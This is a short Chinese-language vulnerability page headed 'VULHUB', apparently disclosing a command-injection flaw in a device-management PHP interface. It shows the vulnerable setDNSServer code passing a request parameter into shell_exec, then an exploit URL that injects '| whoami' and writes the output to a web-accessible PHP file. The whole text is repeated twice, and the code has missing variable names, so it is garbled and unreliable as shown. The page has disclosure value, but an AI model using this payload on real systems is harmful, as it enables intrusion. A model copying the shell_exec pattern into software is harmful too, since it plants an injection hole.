VULHUB ™

在文件 /Interface/DevManage/VM.php 中： code 区域 ``` ..............代码省略.................... // 设置DNS解析服务器地址 case 'setDNSServer' : shell_exec('echo "nameserver '.['DNSServerAdrr'].'"'.' > /etc/resolv.conf'); ['Code'] = 0; getTip(); echo json_encode(); break; default : showErrorRequest(); break; ...........................代码省略..................... ``` 上EXP: ``` code 区域 /Interface/DevManage/VM.php?cmd=setDNSServer&DNSServerAdrr=" | whoami >/usr/local/program/ecrwww/apache/htdocs/Interface/DevManage/11.php %23" ```

在文件 /Interface/DevManage/VM.php 中： code 区域 ``` ..............代码省略.................... // 设置DNS解析服务器地址 case 'setDNSServer' : shell_exec('echo "nameserver '.['DNSServerAdrr'].'"'.' > /etc/resolv.conf'); ['Code'] = 0; getTip(); echo json_encode(); break; default : showErrorRequest(); break; ...........................代码省略..................... ``` 上EXP: ``` code 区域 /Interface/DevManage/VM.php?cmd=setDNSServer&DNSServerAdrr=" | whoami >/usr/local/program/ecrwww/apache/htdocs/Interface/DevManage/11.php %23" ```